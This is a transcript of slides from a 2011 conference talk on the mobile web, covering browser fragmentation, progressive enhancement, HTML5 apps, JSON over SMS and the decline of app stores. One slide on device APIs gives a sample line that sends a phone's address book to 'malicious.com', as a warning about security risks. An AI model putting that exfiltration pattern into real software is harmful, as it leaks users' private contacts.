The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area...
Transcript of The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area...
![Page 1: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/1.jpg)
The future of the mobile web
Peter-Paul Kochhttp://quirksmode.org http://twitter.com/ppk
Bay Area Mobile, 6 April 2011
![Page 2: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/2.jpg)
The desktop web
• Boring!
• Only five browsers
• with only one viewport each
• that support nearly everything
• Even IE? Yes, even IE.
![Page 3: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/3.jpg)
![Page 4: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/4.jpg)
The mobile web
• Exciting!
• Twenty browsers and counting
• ranging from great to lousy
• Fascinating new bugs that don’t occur on desktop
• Eventually about five times as many users as desktop web
![Page 5: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/5.jpg)
Mobile First!
• Luke Wroblewski invented it
• Design your sites for mobile first.
• You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display.
• The things you leave out of the mobile version don’t really need to be in the
![Page 6: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/6.jpg)
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
The mobile browsers
You may groan now.
![Page 7: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/7.jpg)
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
The mobile browsers
WebKit-based
![Page 8: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/8.jpg)
WebKit on MobileThere is no WebKit on mobile!
There's iPhone Safari (3 and 4), and Android (2.1 and 2.2) and Nokia WebKit (S40 and Symbian) and Blackberry WebKit,and Dolfin for bada,and Palm, Obigo, and a few more
These WebKits are all different.
![Page 9: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/9.jpg)
Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html
![Page 10: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/10.jpg)
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
The mobile browsers
![Page 11: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/11.jpg)
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
The mobile browsers
Proxy browsers
![Page 12: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/12.jpg)
Proxy browsers
• Page is downloaded to and rendered on a specialised server.
• A highly compressed image is sent to the client.
• Advantage: cheap, both in device and in network costs
• Disadvantage: no client-side interactivity
![Page 13: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/13.jpg)
Global stats Q4 2010(by StatCounter)
Safari 23% iOS Stable
Opera 22% Many OSs Stable
BlackBerry 18% BlackBerry Down
Nokia 16% Symbian (and S40) Stable
Android 12% Android Up
NetFront 4% Sony Ericsson and Samsung Stable
Samsung 1% bada Up
UCWeb 1% Many OSs Down
Others 3%
![Page 14: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/14.jpg)
Browser stats
• Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats.
• Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.
![Page 15: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/15.jpg)
Which mobile browsers?
• Safari iPhone• Opera Mini• Android WebKit
• US: BlackBerry (WebKit and older)• Europe: Nokia WebKit
• Dolfin for bada (easy)• Opera Mobile (easy)
![Page 16: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/16.jpg)
Progressive enhancementHow do you deal with this immense amount of browsers?
Use advanced tricks, but make sure your site remains usable without them.
The site is enhanced as much as the browser allows.
![Page 17: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/17.jpg)
Progressive enhancement
HTML
All browsers support HTML. That’s the definition of a browser.
![Page 18: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/18.jpg)
Progressive enhancement
HTML
Basic CSS
All browsers support most basic CSS. There will be bugs, but only few.
![Page 19: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/19.jpg)
Progressive enhancement
HTML
Basic CSS
Advanced CSS
Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.
![Page 20: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/20.jpg)
Progressive enhancement
HTML
Basic CSS
Advanced CSS
Basic JavaScript
All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.
![Page 21: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/21.jpg)
Progressive enhancement
HTML
Basic CSS
Advanced CSS
Basic JavaScript
Advanced JavaScript
Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.
![Page 22: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/22.jpg)
More mobile web
• So far we talked about websites.
• There are more aspects to the mobile web, however.
• Native vs. web apps, for instance
• But there’s even more behind the horizon
![Page 23: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/23.jpg)
3%4%
16%
16%
22%
38%
Apps in theory
SymbianAndroidiOSBlackBerryWindowsbada
![Page 24: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/24.jpg)
16%
22%
AndroidiOS
Apps in practice
Rest? What rest?
![Page 25: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/25.jpg)
Apps in the future
![Page 26: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/26.jpg)
HTML5 apps
![Page 27: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/27.jpg)
HTML5 apps• One core app written in HTML, CSS,
and JavaScript.
• Deployed to several mobile platforms.
• Ideally, CSS and JavaScript are stored on the device.
• If it can't be deployed it's still a website.
![Page 28: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/28.jpg)
HTML5 app deployment
• http://apparat.io/ (Uxebu)
• https://build.phonegap.com/ (Nitobi)
![Page 29: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/29.jpg)
![Page 30: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/30.jpg)
$25
2011
![Page 31: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/31.jpg)
$75
2011
![Page 32: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/32.jpg)
$25
2014
![Page 33: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/33.jpg)
2014
Apps!keep track of prices,keep track of multiple ships,give warning against corrupt police officers
![Page 34: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/34.jpg)
?
I’ve done it. In April 2009.
FishermanFisherman’s cousin(also a fisherman)
![Page 35: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/35.jpg)
Symbian Windows Mobile
![Page 36: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/36.jpg)
And it worked. Almost.There was a compatibility issue.But still the concept was viable.
Symbian Windows Mobile
![Page 37: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/37.jpg)
HTML5 app
data data
? ?
![Page 38: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/38.jpg)
?Data will likely be JSON- Light-weight- Already works everywhere
But how do we get the JSON onto the phone?
![Page 39: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/39.jpg)
?Wifi? Not availableData plan? Too expensiveSMS? Sounds about right
![Page 40: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/40.jpg)
JSON over SMS
• SMS is the only way of pushing data
• Premium SMS allows the service to make money easily
• Absolutely every phone supports SMS
• It’s human-readable (more or less)
![Page 41: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/41.jpg)
To: 06184322728
date: 150225,towns: {town1: {prices:{catfish:0.88,dogfish:1.34,shellfish:0.79
},},town2: {prices:{catfish:0.97,dogfish:1.13,shellfish:0.48
},},
}
![Page 42: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/42.jpg)
Money
• But if the user can share apps freely
• and pays for the data
• monetization is going to change considerably
• We don’t need app stores any more
![Page 43: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/43.jpg)
End of app stores• “Why is everyone so exercised? As with all walled
gardens, the web will interpret the App Store as damage and route around it.”
- Eric Meyer
![Page 44: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/44.jpg)
What do we need app stores for?
• Discoverability
• Ease of payments and making money
• Distribution
• Works for Apple. But will it work for anyone else?
• Cost of ownership
![Page 45: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/45.jpg)
Discoverability
![Page 46: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/46.jpg)
Distribution
![Page 47: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/47.jpg)
Works for Apple
• Apple depends on enthusiastic developers and affluent consumers
• Google has developers
• Nokia, Samsung, and RIM have consumers
• But none of them has both
• So can they copy Apple’s success?
![Page 48: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/48.jpg)
Cost of ownership
• payment system
• sysadmins
• content checkers
• documentation and best practices writers
An app store needs:
Costs a lot of money. Too much money, especially if nobody uses the app store.
![Page 49: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/49.jpg)
Payments
![Page 50: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/50.jpg)
End of app stores
• Apple’s. iOS apps will continue to exist.
• Maybe a few other platform-specific ones, too.
• Specialised app stores (structural engineering, music creation, historical maps, etc.)
Will any app stores survive?
![Page 51: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/51.jpg)
Device APIs
• Native apps offer device APIs.
• They allow you to access the camera, accelerometer, SMS, file system, etc.
• They tie in your site or app with the mobile context.
• Web apps will have to offer them, too.
![Page 52: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/52.jpg)
Device APIsdevice.phone.call(device.addressBook['mom'])
Great!Well ...
There’s a serious security problem here.Providing trusted apps might remain an app store function.
var ab = device.addressBook.toString();sendRequest(POST,'malicious.com',ab);
![Page 53: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/53.jpg)
Device APIs spec
• BONDI (obsolete)
• JIL (obsolete)
• W3C DAP (not yet ready)
• WAC 2.0
![Page 54: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/54.jpg)
JavaScript eventsFun party game
• online and offline• orientationchange• shake• cameraopen• compasspointnorth• devicemove (GPS?)• phonecall• textmessagereceived
![Page 55: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/55.jpg)
Future of the Mobile Web
• Native apps will be replaced by web apps, which can run anywhere
• Web data will also be offered via SMS
• Monetization will change from pay for download to pay for data, and will become independent of credit cards
• App stores on the defensive
• Device APIs (but security!)
![Page 56: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/56.jpg)
... and PayPal?
• Disclaimer: know very little about financial service industry. Still ...
• Future is a payment system for data (messages, levels, articles, whatever). PayPal stands decent chance there.
• System must work on low-end devices
• Give people without credit cards a way of paying. (I.e. 70% of the world population)
• Competition: carriers
![Page 57: The future of the mobile web - QuirksMode · The future of the mobile web Peter-Paul Koch Bay Area Mobile, 6 April 2011. The desktop web ... • Nokia WebKit ... music creation, historical](https://reader036.fdocuments.us/reader036/viewer/2022081605/5b82b5e07f8b9a54278ed487/html5/thumbnails/57.jpg)
Thank youI will post these slides online, but only in
mid May.
Questions?Peter-Paul Koch
http://quirksmode.org http://twitter.com/ppk
Bay Area Mobile, 6 April 2011